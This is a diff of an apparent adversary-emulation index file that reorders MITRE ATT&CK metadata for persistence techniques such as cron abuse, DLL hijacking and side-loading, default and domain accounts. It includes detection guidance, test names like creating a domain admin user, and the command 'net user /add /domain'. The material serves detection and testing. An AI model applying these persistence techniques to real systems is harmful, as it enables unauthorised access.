+        description: 'Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account
+          was created. Retrieved June 30, 2017.'
+        source_name: Microsoft User Creation Event
     atomic_tests: []
   T1543:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1543
-        url: https://attack.mitre.org/techniques/T1543
-      - url: https://technet.microsoft.com/en-us/library/cc772408.aspx
-        description: Microsoft. (n.d.). Services. Retrieved June 7, 2016.
-        source_name: TechNet Services
-      - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
-        description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved
-          July 10, 2017.
-        source_name: AppleDocs Launch Agent Daemons
-      - url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf
-        description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical
-          OS X Malware Detection & Analysis. Retrieved July 10, 2017.'
-        source_name: OSX Malware Detection
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Create or Modify System Process
+      x_mitre_data_sources:
+      - 'Service: Service Creation'
+      - 'Service: Service Modification'
+      - 'Process: Process Creation'
+      - 'Process: OS API Execution'
+      - 'Command: Command Execution'
+      - 'Windows Registry: Windows Registry Key Creation'
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'File: File Creation'
+      - 'File: File Modification'
+      x_mitre_version: '1.0'
+      modified: '2021-11-03T20:11:52.175Z'
+      created: '2020-01-10T16:03:18.865Z'
+      x_mitre_platforms:
+      - Windows
+      - macOS
+      - Linux
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5
       description: "Adversaries may create or modify system-level processes to repeatedly
         execute malicious payloads as part of persistence. When operating systems
         boot up, they can start processes that perform background system functions.
@@ -44703,27 +45950,11 @@ persistence:
         under root/SYSTEM privileges. Adversaries may leverage this functionality
         to create or modify system processes in order to escalate privileges. (Citation:
         OSX Malware Detection).  "
-      id: attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-10-09T13:46:29.922Z'
-      created: '2020-01-10T16:03:18.865Z'
-      x_mitre_data_sources:
-      - 'Service: Service Creation'
-      - 'Service: Service Modification'
-      - 'Process: Process Creation'
-      - 'Process: OS API Execution'
-      - 'Command: Command Execution'
-      - 'Windows Registry: Windows Registry Key Creation'
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'File: File Creation'
-      - 'File: File Modification'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: false
       x_mitre_detection: "Monitor for changes to system processes that do not correlate
         with known software, patch cycles, etc., including by comparing results against
         a trusted system baseline. New, benign system processes may be created during
@@ -44736,27 +45967,37 @@ persistence:
         process call trees from known services and for execution of other commands
         that could relate to Discovery or other adversary techniques. \n\nMonitor
         for changes to files associated with system-level processes."
-      x_mitre_platforms:
-      - Windows
-      - macOS
-      - Linux
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1543
+        external_id: T1543
+        source_name: mitre-attack
+      - source_name: TechNet Services
+        description: Microsoft. (n.d.). Services. Retrieved June 7, 2016.
+        url: https://technet.microsoft.com/en-us/library/cc772408.aspx
+      - source_name: AppleDocs Launch Agent Daemons
+        description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved
+          July 10, 2017.
+        url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
+      - source_name: OSX Malware Detection
+        description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical
+          OS X Malware Detection & Analysis. Retrieved July 10, 2017.'
+        url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf
     atomic_tests: []
   T1053.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1053.003
-        url: https://attack.mitre.org/techniques/T1053/003
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Cron
-      description: |-
-        Adversaries may abuse the <code>cron</code> utility to perform task scheduling for initial or recurring execution of malicious code. The <code>cron</code> utility is a time-based job scheduler for Unix-like operating systems.  The <code> crontab</code> file contains the schedule of cron entries to be run and the specified times for execution. Any <code>crontab</code> files are stored in operating system-specific file paths.
-
-        An adversary may use <code>cron</code> in Linux or Unix environments to execute programs at system startup or on a scheduled basis for persistence. <code>cron</code> can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.
-      id: attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c
       type: attack-pattern
+      name: Cron
+      x_mitre_data_sources:
+      - 'Scheduled Job: Scheduled Job Creation'
+      - 'Command: Command Execution'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      x_mitre_version: '1.1'
+      modified: '2021-08-23T15:29:36.918Z'
+      created: '2019-12-03T14:25:00.538Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: execution
@@ -44764,13 +46005,22 @@ persistence:
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-03-23T23:30:46.546Z'
-      created: '2019-12-03T14:25:00.538Z'
-      x_mitre_version: '1.0'
+      id: attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c
+      x_mitre_platforms:
+      - Linux
+      - macOS
       x_mitre_is_subtechnique: true
-      x_mitre_remote_support: false
       x_mitre_permissions_required:
       - User
+      description: "Adversaries may abuse the <code>cron</code> utility to perform
+        task scheduling for initial or recurring execution of malicious code.(Citation:
+        20 macOS Common Tools and Techniques) The <code>cron</code> utility is a time-based
+        job scheduler for Unix-like operating systems.  The <code> crontab</code>
+        file contains the schedule of cron entries to be run and the specified times
+        for execution. Any <code>crontab</code> files are stored in operating system-specific
+        file paths.\n\nAn adversary may use <code>cron</code> in Linux or Unix environments
+        to execute programs at system startup or on a scheduled basis for persistence. "
+      x_mitre_remote_support: false
       x_mitre_detection: "Monitor scheduled task creation from common utilities using
         command-line invocation. Legitimate scheduled tasks may be created during
         installation of new software or through system administration functions. Look
@@ -44781,14 +46031,15 @@ persistence:
         part of a chain of behavior that could lead to other activities, such as network
         connections made for Command and Control, learning details about the environment
         through Discovery, and Lateral Movement. "
-      x_mitre_data_sources:
-      - 'Scheduled Job: Scheduled Job Creation'
-      - 'Command: Command Execution'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
-      x_mitre_platforms:
-      - Linux
-      - macOS
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1053/003
+        external_id: T1053.003
+        source_name: mitre-attack
+      - url: https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/
+        description: Phil Stokes. (2021, February 16). 20 Common Tools & Techniques
+          Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.
+        source_name: 20 macOS Common Tools and Techniques
       identifier: T1053.003
     atomic_tests:
     - name: Cron - Replace crontab with referenced file
@@ -44880,6 +46131,27 @@ persistence:
 '
   T1574.001:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: DLL Search Order Hijacking
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'File: File Modification'
+      - 'Module: Module Load'
+      x_mitre_version: '1.1'
+      modified: '2021-04-26T18:37:03.748Z'
+      created: '2020-03-13T18:11:08.357Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
       id: attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34
       description: |-
         Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.
@@ -44889,67 +46161,9 @@ persistence:
         Adversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking)
 
         If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.
-      name: DLL Search Order Hijacking
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1574.001
-        url: https://attack.mitre.org/techniques/T1574/001
-      - external_id: CAPEC-471
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/471.html
-      - source_name: Microsoft Dynamic Link Library Search Order
-        url: https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN
-        description: Microsoft. (2018, May 31). Dynamic-Link Library Search Order.
-          Retrieved November 30, 2014.
-      - source_name: FireEye Hijacking July 2010
-        url: https://www.fireeye.com/blog/threat-research/2010/07/malware-persistence-windows-registry.html
-        description: Harbour, N. (2010, July 15). Malware Persistence without the
-          Windows Registry. Retrieved November 17, 2020.
-      - source_name: OWASP Binary Planting
-        description: OWASP. (2013, January 30). Binary planting. Retrieved June 7,
-          2016.
-        url: https://www.owasp.org/index.php/Binary_planting
-      - source_name: FireEye fxsst June 2011
-        url: https://www.fireeye.com/blog/threat-research/2011/06/fxsst.html
-        description: Harbour, N. (2011, June 3). What the fxsst?. Retrieved November
-          17, 2020.
-      - source_name: Microsoft Security Advisory 2269637
-        url: https://docs.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637
-        description: Microsoft. (, May 23). Microsoft Security Advisory 2269637. Retrieved
-          March 13, 2020.
-      - source_name: Microsoft Dynamic-Link Library Redirection
-        url: https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN
-        description: Microsoft. (2018, May 31). Dynamic-Link Library Redirection.
-          Retrieved March 13, 2020.
-      - source_name: Microsoft Manifests
-        description: Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.
-        url: https://msdn.microsoft.com/en-US/library/aa375365
-      - source_name: FireEye DLL Search Order Hijacking
-        url: https://www.fireeye.com/blog/threat-research/2010/08/dll-search-order-hijacking-revisited.html
-        description: Nick Harbour. (2010, September 1). DLL Search Order Hijacking
-          Revisited. Retrieved March 13, 2020.
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2021-04-26T18:37:03.748Z'
-      created: '2020-03-13T18:11:08.357Z'
-      x_mitre_platforms:
-      - Windows
       x_mitre_contributors:
       - Travis Smith, Tripwire
       - Stefan Kanthak
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Module: Module Load'
       x_mitre_detection: Monitor file systems for moving, renaming, replacing, or
         modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared
         with past behavior) that do not correlate with known software, patches, etc.,
@@ -44957,8 +46171,45 @@ persistence:
         the same file name but abnormal paths. Modifications to or creation of `.manifest`
         and `.local` redirection files that do not correlate with software updates
         are suspicious.
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.1'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1574/001
+        external_id: T1574.001
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/471.html
+        external_id: CAPEC-471
+        source_name: capec
+      - url: https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN
+        description: Microsoft. (2018, May 31). Dynamic-Link Library Search Order.
+          Retrieved November 30, 2014.
+        source_name: Microsoft Dynamic Link Library Search Order
+      - url: https://www.fireeye.com/blog/threat-research/2010/07/malware-persistence-windows-registry.html
+        description: Harbour, N. (2010, July 15). Malware Persistence without the
+          Windows Registry. Retrieved November 17, 2020.
+        source_name: FireEye Hijacking July 2010
+      - url: https://www.owasp.org/index.php/Binary_planting
+        description: OWASP. (2013, January 30). Binary planting. Retrieved June 7,
+          2016.
+        source_name: OWASP Binary Planting
+      - url: https://www.fireeye.com/blog/threat-research/2011/06/fxsst.html
+        description: Harbour, N. (2011, June 3). What the fxsst?. Retrieved November
+          17, 2020.
+        source_name: FireEye fxsst June 2011
+      - url: https://docs.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637
+        description: Microsoft. (, May 23). Microsoft Security Advisory 2269637. Retrieved
+          March 13, 2020.
+        source_name: Microsoft Security Advisory 2269637
+      - url: https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN
+        description: Microsoft. (2018, May 31). Dynamic-Link Library Redirection.
+          Retrieved March 13, 2020.
+        source_name: Microsoft Dynamic-Link Library Redirection
+      - url: https://msdn.microsoft.com/en-US/library/aa375365
+        description: Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.
+        source_name: Microsoft Manifests
+      - url: https://www.fireeye.com/blog/threat-research/2010/08/dll-search-order-hijacking-revisited.html
+        description: Nick Harbour. (2010, September 1). DLL Search Order Hijacking
+          Revisited. Retrieved March 13, 2020.
+        source_name: FireEye DLL Search Order Hijacking
       identifier: T1574.001
     atomic_tests:
     - name: DLL Search Order Hijacking - amsi.dll
@@ -44982,8 +46233,29 @@ persistence:
         elevation_required: true
   T1574.002:
     technique:
-      created: '2020-03-13T19:41:37.908Z'
+      type: attack-pattern
       modified: '2021-04-26T18:31:34.954Z'
+      name: DLL Side-Loading
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'File: File Modification'
+      - 'Module: Module Load'
+      - 'Process: Process Creation'
+      x_mitre_version: '2.0'
+      created: '2020-03-13T19:41:37.908Z'
+      x_mitre_defense_bypassed:
+      - Anti-virus
+      - Application control
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b
+      description: |-
+        Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
+
+        Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
@@ -44991,44 +46263,23 @@ persistence:
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      type: attack-pattern
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1574.002
-        url: https://attack.mitre.org/techniques/T1574/002
-      - external_id: CAPEC-641
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/641.html
-      - source_name: FireEye DLL Side-Loading
-        url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf
-        description: 'Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in
-          the Side of the Anti-Virus Industry. Retrieved March 13, 2020.'
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: DLL Side-Loading
-      description: |-
-        Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
-
-        Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)
-      id: attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b
-      x_mitre_defense_bypassed:
-      - Anti-virus
-      - Application control
-      x_mitre_version: '2.0'
-      x_mitre_is_subtechnique: true
       x_mitre_detection: Monitor processes for unusual activity (e.g., a process that
         does not use the network begins to do so) as well as the introduction of new
         files/programs. Track DLL metadata, such as a hash, and compare DLLs that
         are loaded at process execution time against previous executions to detect
         differences that do not correlate with patching or updates.
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Module: Module Load'
-      - 'Process: Process Creation'
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1574/002
+        external_id: T1574.002
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/641.html
+        external_id: CAPEC-641
+        source_name: capec
+      - url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf
+        description: 'Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in
+          the Side of the Anti-Virus Industry. Retrieved March 13, 2020.'
+        source_name: FireEye DLL Side-Loading
       identifier: T1574.002
     atomic_tests:
     - name: DLL Side-Loading using the Notepad++ GUP.exe binary
@@ -45067,60 +46318,19 @@ persistence:
         name: command_prompt
   T1078.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1078.001
-        url: https://attack.mitre.org/techniques/T1078/001
-      - external_id: CAPEC-70
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/70.html
-      - source_name: Microsoft Local Accounts Feb 2019
-        url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts
-        description: Microsoft. (2018, December 9). Local Accounts. Retrieved February
-          11, 2019.
-      - source_name: AWS Root User
-        url: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html
-        description: Amazon. (n.d.). AWS Account Root User. Retrieved April 5, 2021.
-      - source_name: Threat Matrix for Kubernetes
-        url: https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/
-        description: Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved
-          March 30, 2021.
-      - source_name: Metasploit SSH Module
-        url: https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh
-        description: Metasploit. (n.d.). Retrieved April 12, 2019.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Default Accounts
-      description: |-
-        Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)
-
-        Default accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)
-      id: attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      - kill_chain_name: mitre-attack
-        phase_name: initial-access
-      modified: '2021-04-05T20:14:26.846Z'
-      created: '2020-03-13T20:15:31.974Z'
-      x_mitre_version: '1.2'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - Administrator
-      - User
-      x_mitre_detection: Monitor whether default accounts have been activated or logged
-        into. These audits should also include checks on any appliances and applications
-        for default credentials or SSH keys, and if any are discovered, they should
-        be updated immediately.
+      name: Default Accounts
       x_mitre_data_sources:
       - 'User Account: User Account Authentication'
       - 'Logon Session: Logon Session Creation'
+      x_mitre_version: '1.2'
+      modified: '2021-04-05T20:14:26.846Z'
+      created: '2020-03-13T20:15:31.974Z'
+      x_mitre_permissions_required:
+      - Administrator
+      - User
       x_mitre_platforms:
       - Windows
       - Azure AD
@@ -45131,6 +46341,47 @@ persistence:
       - macOS
       - Google Workspace
       - Containers
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d
+      description: |-
+        Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)
+
+        Default accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      - kill_chain_name: mitre-attack
+        phase_name: initial-access
+      x_mitre_detection: Monitor whether default accounts have been activated or logged
+        into. These audits should also include checks on any appliances and applications
+        for default credentials or SSH keys, and if any are discovered, they should
+        be updated immediately.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1078/001
+        external_id: T1078.001
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/70.html
+        external_id: CAPEC-70
+        source_name: capec
+      - url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts
+        description: Microsoft. (2018, December 9). Local Accounts. Retrieved February
+          11, 2019.
+        source_name: Microsoft Local Accounts Feb 2019
+      - url: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html
+        description: Amazon. (n.d.). AWS Account Root User. Retrieved April 5, 2021.
+        source_name: AWS Root User
+      - url: https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/
+        description: Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved
+          March 30, 2021.
+        source_name: Threat Matrix for Kubernetes
+      - url: https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh
+        description: Metasploit. (n.d.). Retrieved April 12, 2019.
+        source_name: Metasploit SSH Module
       identifier: T1078.001
     atomic_tests:
     - name: Enable Guest account with RDP capability and admin privileges
@@ -45202,47 +46453,47 @@ persistence:
         elevation_required: true
   T1136.002:
     technique:
-      created: '2020-01-28T14:05:17.825Z'
-      modified: '2020-03-23T18:12:36.696Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
       type: attack-pattern
+      modified: '2020-03-23T18:12:36.696Z'
+      name: Domain Account
+      x_mitre_data_sources:
+      - 'User Account: User Account Creation'
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      created: '2020-01-28T14:05:17.825Z'
+      x_mitre_permissions_required:
+      - Administrator
+      x_mitre_platforms:
+      - Windows
+      - macOS
+      - Linux
+      x_mitre_is_subtechnique: true
       id: attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177
       description: |-
         Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the <code>net user /add /domain</code> command can be used to create a domain account.
 
         Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
-      name: Domain Account
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1136.002
-        url: https://attack.mitre.org/techniques/T1136/002
-      - source_name: Microsoft User Creation Event
-        description: 'Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account
-          was created. Retrieved June 30, 2017.'
-        url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720
-      x_mitre_platforms:
-      - Windows
-      - macOS
-      - Linux
-      x_mitre_data_sources:
-      - 'User Account: User Account Creation'
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
       x_mitre_detection: 'Monitor for processes and command-line parameters associated
         with domain account creation, such as <code>net user /add /domain</code>.
         Collect data on account creation within a network. Event ID 4720 is generated
         when a user account is created on a Windows domain controller. (Citation:
         Microsoft User Creation Event) Perform regular audits of domain accounts to
         detect suspicious accounts that may have been created by an adversary.'
-      x_mitre_permissions_required:
-      - Administrator
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1136/002
+        external_id: T1136.002
+        source_name: mitre-attack
+      - url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720
+        description: 'Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account
+          was created. Retrieved June 30, 2017.'
+        source_name: Microsoft User Creation Event
       identifier: T1136.002
     atomic_tests:
     - name: Create a new Windows domain admin user
@@ -45338,35 +46589,17 @@ persistence:
         elevation_required: false
   T1078.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1078.002
-        url: https://attack.mitre.org/techniques/T1078/002
-      - external_id: CAPEC-560
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/560.html
-      - url: https://technet.microsoft.com/en-us/library/dn535501.aspx
-        description: Microsoft. (2016, April 15). Attractive Accounts for Credential
-          Theft. Retrieved June 3, 2016.
-        source_name: TechNet Credential Theft
-      - source_name: Microsoft AD Accounts
-        url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts
-        description: Microsoft. (2019, August 23). Active Directory Accounts. Retrieved
-          March 13, 2020.
-      - url: https://technet.microsoft.com/en-us/library/dn487457.aspx
-        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
-          June 3, 2016.
-        source_name: TechNet Audit Policy
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Domain Accounts
-      description: |-
-        Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. (Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)
-
-        Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.
-      id: attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f
       type: attack-pattern
+      name: Domain Accounts
+      x_mitre_data_sources:
+      - 'Logon Session: Logon Session Metadata'
+      - 'User Account: User Account Authentication'
+      - 'Logon Session: Logon Session Creation'
+      x_mitre_version: '1.2'
+      modified: '2021-10-19T03:29:47.651Z'
+      created: '2020-03-13T20:21:54.758Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
@@ -45376,43 +46609,80 @@ persistence:
         phase_name: privilege-escalation
